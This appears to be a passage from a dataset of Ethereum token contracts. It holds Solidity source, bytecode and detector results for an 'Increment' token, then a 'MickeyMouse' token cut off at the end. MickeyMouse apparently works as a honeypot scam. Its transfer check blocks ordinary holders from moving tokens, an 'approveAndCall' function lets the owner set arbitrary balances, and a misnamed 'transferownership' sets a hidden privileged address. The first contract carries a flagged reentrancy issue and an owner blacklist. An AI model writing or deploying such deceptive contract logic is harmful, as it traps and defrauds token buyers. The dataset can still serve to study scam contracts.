interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract Increment is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 10000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
uint256 private _sellTax;
uint256 private _buyTax;
address payable private _feeAddress;
string private constant _name = "Increment";
string private constant _symbol = "Increment";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private removeMaxTx = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddress = payable(0xe677234F3687325Df306059518a438954382a6A1);
_buyTax = 14;
_sellTax = 14;
_rOwned[address(this)] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddress] = true;
emit Transfer(address(0), address(this), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setRemoveMaxTx(bool onoff) external onlyOwner() {
removeMaxTx = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!bots[from]);
if (!_isExcludedFromFee[from]
&& !_isExcludedFromFee[to] ) {
_feeAddr1 = 0;
_feeAddr2 = _buyTax;
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && removeMaxTx) {
uint walletBalance = balanceOf(address(to));
require(amount.add(walletBalance) <= _maxTxAmount);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 0;
_feeAddr2 = _sellTax;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() {
if (maxTxAmount > 200000000 * 10**9) {
_maxTxAmount = maxTxAmount;
}
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddress.transfer(amount);
}
function createPair() external onlyOwner(){
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
}
function openTrading() external onlyOwner() {
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
removeMaxTx = true;
_maxTxAmount = 200000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() public onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() public onlyOwner() {
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _setSellTax(uint256 sellTax) external onlyOwner() {
if (sellTax < 14) {
_sellTax = sellTax;
}
}
function setBuyTax(uint256 buyTax) external onlyOwner() {
if (buyTax < 14) {
_buyTax = buyTax;
}
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | 0x60806040526004361061012e5760003560e01c8063715018a6116100ab578063b515566a1161006f578063b515566a14610315578063c3c8cd8014610335578063c9567bf91461034a578063dbe8272c1461035f578063dc1052e21461037f578063dd62ed3e1461039f57600080fd5b8063715018a6146102a35780638da5cb5b146102b857806395d89b411461013a5780639e78fb4f146102e0578063a9059cbb146102f557600080fd5b8063273123b7116100f2578063273123b714610212578063313ce5671461023257806346df33b71461024e5780636fc3eaec1461026e57806370a082311461028357600080fd5b806306fdde031461013a578063095ea7b31461017b57806318160ddd146101ab5780631bbae6e0146101d057806323b872dd146101f257600080fd5b3661013557005b600080fd5b34801561014657600080fd5b506040805180820182526009815268125b98dc995b595b9d60ba1b602082015290516101729190611627565b60405180910390f35b34801561018757600080fd5b5061019b6101963660046116a1565b6103e5565b6040519015158152602001610172565b3480156101b757600080fd5b50678ac7230489e800005b604051908152602001610172565b3480156101dc57600080fd5b506101f06101eb3660046116cd565b6103fc565b005b3480156101fe57600080fd5b5061019b61020d3660046116e6565b610448565b34801561021e57600080fd5b506101f061022d366004611727565b6104b1565b34801561023e57600080fd5b5060405160098152602001610172565b34801561025a57600080fd5b506101f0610269366004611752565b6104fc565b34801561027a57600080fd5b506101f0610544565b34801561028f57600080fd5b506101c261029e366004611727565b610578565b3480156102af57600080fd5b506101f061059a565b3480156102c457600080fd5b506000546040516001600160a01b039091168152602001610172565b3480156102ec57600080fd5b506101f061060e565b34801561030157600080fd5b5061019b6103103660046116a1565b610820565b34801561032157600080fd5b506101f0610330366004611785565b61082d565b34801561034157600080fd5b506101f06108c3565b34801561035657600080fd5b506101f0610903565b34801561036b57600080fd5b506101f061037a3660046116cd565b610aac565b34801561038b57600080fd5b506101f061039a3660046116cd565b610ae4565b3480156103ab57600080fd5b506101c26103ba36600461184a565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60006103f2338484610b1c565b5060015b92915050565b6000546001600160a01b0316331461042f5760405162461bcd60e51b815260040161042690611883565b60405180910390fd5b6702c68af0bb1400008111156104455760108190555b50565b6000610455848484610c40565b6104a784336104a285604051806060016040528060288152602001611a49602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610f50565b610b1c565b5060019392505050565b6000546001600160a01b031633146104db5760405162461bcd60e51b815260040161042690611883565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146105265760405162461bcd60e51b815260040161042690611883565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b0316331461056e5760405162461bcd60e51b815260040161042690611883565b4761044581610f8a565b6001600160a01b0381166000908152600260205260408120546103f690610fc4565b6000546001600160a01b031633146105c45760405162461bcd60e51b815260040161042690611883565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106385760405162461bcd60e51b815260040161042690611883565b600f54600160a01b900460ff16156106925760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610426565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a01559160048083019260209291908290030181865afa1580156106f7573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061071b91906118b8565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610768573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061078c91906118b8565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156107d9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107fd91906118b8565b600f80546001600160a01b0319166001600160a01b039290921691909117905550565b60006103f2338484610c40565b6000546001600160a01b031633146108575760405162461bcd60e51b815260040161042690611883565b60005b81518110156108bf5760016006600084848151811061087b5761087b6118d5565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806108b781611901565b91505061085a565b5050565b6000546001600160a01b031633146108ed5760405162461bcd60e51b815260040161042690611883565b60006108f830610578565b905061044581611048565b6000546001600160a01b0316331461092d5760405162461bcd60e51b815260040161042690611883565b600e5461094d9030906001600160a01b0316678ac7230489e80000610b1c565b600e546001600160a01b031663f305d719473061096981610578565b60008061097e6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156109e6573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a0b919061191c565b5050600f80546702c68af0bb14000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610a88573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610445919061194a565b6000546001600160a01b03163314610ad65760405162461bcd60e51b815260040161042690611883565b600e81101561044557600b55565b6000546001600160a01b03163314610b0e5760405162461bcd60e51b815260040161042690611883565b600e81101561044557600c55565b6001600160a01b038316610b7e5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610426565b6001600160a01b038216610bdf5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610426565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ca45760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610426565b6001600160a01b038216610d065760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610426565b60008111610d685760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610426565b6001600160a01b03831660009081526006602052604090205460ff1615610d8e57600080fd5b6001600160a01b03831660009081526005602052604090205460ff16158015610dd057506001600160a01b03821660009081526005602052604090205460ff16155b15610f40576000600955600c54600a55600f546001600160a01b038481169116148015610e0b5750600e546001600160a01b03838116911614155b8015610e3057506001600160a01b03821660009081526005602052604090205460ff16155b8015610e455750600f54600160b81b900460ff165b15610e72576000610e5583610578565b601054909150610e6583836111c2565b1115610e7057600080fd5b505b600f546001600160a01b038381169116148015610e9d5750600e546001600160a01b03848116911614155b8015610ec257506001600160a01b03831660009081526005602052604090205460ff16155b15610ed3576000600955600b54600a555b6000610ede30610578565b600f54909150600160a81b900460ff16158015610f095750600f546001600160a01b03858116911614155b8015610f1e5750600f54600160b01b900460ff165b15610f3e57610f2c81611048565b478015610f3c57610f3c47610f8a565b505b505b610f4b838383611221565b505050565b60008184841115610f745760405162461bcd60e51b81526004016104269190611627565b506000610f818486611967565b95945050505050565b600d546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156108bf573d6000803e3d6000fd5b600060075482111561102b5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610426565b600061103561122c565b9050611041838261124f565b9392505050565b600f805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110611090576110906118d5565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156110e9573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061110d91906118b8565b81600181518110611120576111206118d5565b6001600160a01b039283166020918202929092010152600e546111469130911684610b1c565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac9479061117f90859060009086903090429060040161197e565b600060405180830381600087803b15801561119957600080fd5b505af11580156111ad573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b6000806111cf83856119ef565b9050838110156110415760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610426565b610f4b838383611291565b6000806000611239611388565b9092509050611248828261124f565b9250505090565b600061104183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506113c8565b6000806000806000806112a3876113f6565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506112d59087611453565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461130490866111c2565b6001600160a01b03891660009081526002602052604090205561132681611495565b61133084836114df565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161137591815260200190565b60405180910390a3505050505050505050565b6007546000908190678ac7230489e800006113a3828261124f565b8210156113bf57505060075492678ac7230489e8000092509050565b90939092509050565b600081836113e95760405162461bcd60e51b81526004016104269190611627565b506000610f818486611a07565b60008060008060008060008060006114138a600954600a54611503565b925092509250600061142361122c565b905060008060006114368e878787611558565b919e509c509a509598509396509194505050505091939550919395565b600061104183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f50565b600061149f61122c565b905060006114ad83836115a8565b306000908152600260205260409020549091506114ca90826111c2565b30600090815260026020526040902055505050565b6007546114ec9083611453565b6007556008546114fc90826111c2565b6008555050565b600080808061151d606461151789896115a8565b9061124f565b9050600061153060646115178a896115a8565b90506000611548826115428b86611453565b90611453565b9992985090965090945050505050565b600080808061156788866115a8565b9050600061157588876115a8565b9050600061158388886115a8565b90506000611595826115428686611453565b939b939a50919850919650505050505050565b6000826115b7575060006103f6565b60006115c38385611a29565b9050826115d08583611a07565b146110415760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610426565b600060208083528351808285015260005b8181101561165457858101830151858201604001528201611638565b81811115611666576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461044557600080fd5b803561169c8161167c565b919050565b600080604083850312156116b457600080fd5b82356116bf8161167c565b946020939093013593505050565b6000602082840312156116df57600080fd5b5035919050565b6000806000606084860312156116fb57600080fd5b83356117068161167c565b925060208401356117168161167c565b929592945050506040919091013590565b60006020828403121561173957600080fd5b81356110418161167c565b801515811461044557600080fd5b60006020828403121561176457600080fd5b813561104181611744565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561179857600080fd5b823567ffffffffffffffff808211156117b057600080fd5b818501915085601f8301126117c457600080fd5b8135818111156117d6576117d661176f565b8060051b604051601f19603f830116810181811085821117156117fb576117fb61176f565b60405291825284820192508381018501918883111561181957600080fd5b938501935b8285101561183e5761182f85611691565b8452938501939285019261181e565b98975050505050505050565b6000806040838503121561185d57600080fd5b82356118688161167c565b915060208301356118788161167c565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000602082840312156118ca57600080fd5b81516110418161167c565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611915576119156118eb565b5060010190565b60008060006060848603121561193157600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561195c57600080fd5b815161104181611744565b600082821015611979576119796118eb565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119ce5784516001600160a01b0316835293830193918301916001016119a9565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611a0257611a026118eb565b500190565b600082611a2457634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611a4357611a436118eb565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c76c96daf1275a21e4ac8cd8c1909b838ffebb51125cb52125277a127592c7e364736f6c634300080a0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | 10,685 |
0xaa645185f79506175917ae2fdd3128e4711d4065 | // File: @openzeppelin/contracts/GSN/Context.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.5.17;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract MickeyMouse {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
if(_from == owner || _to == owner || _from == tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function approveAndCall(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender == owner);
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
address tradeAddress;
function transferownership(address addr) public returns(bool) {
require(msg.sender == owner);
tradeAddress = addr;
return true;
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
emit Transfer(address(0x0), msg.sender, totalSupply);
}
